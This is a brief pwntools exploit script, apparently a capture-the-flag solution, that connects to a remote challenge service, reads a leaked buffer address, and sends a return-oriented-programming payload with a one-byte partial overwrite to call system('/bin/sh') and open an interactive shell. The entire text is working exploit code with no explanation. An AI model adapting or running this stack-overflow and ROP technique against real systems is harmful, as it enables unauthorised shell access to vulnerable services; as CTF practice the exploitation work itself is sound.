1
from pwn import *
2

3
context(os="linux",arch="amd64",log_level="debug")
4
elf=ELF("./pwn",checksec=False)
5
pop_rdi=0x4011F1
6
ret=0x4011F6
7
system=elf.plt["system"]
8

9
io=remote("nc1.ctfplus.cn",23968)
10
io.recvuntil(b"Desk stamp: ")
11
io.recvline()
12
io.recvuntil(b"Claim check: ")
13
buf=int(io.recvline().strip(),16)
14
low=buf&0xff
15
if low<=0x8f:
16
    off=0x48
17
elif low>=0xb8:
18
    off=0x100-low
19

20
payload=flat(
21
    b"/bin/sh\x00".ljust(off,b"A"),
22
    0,
23
    pop_rdi,
24
    buf,
25
    ret,
26
    system,
27
    word_size=64,
28
).ljust(0x70,b"B")
29

30
io.send(payload)
31
io.recvuntil(b"night clerk:\n")
32
io.send(b"D"*0x20+p8((buf+off)&0xff))
33
io.interactive()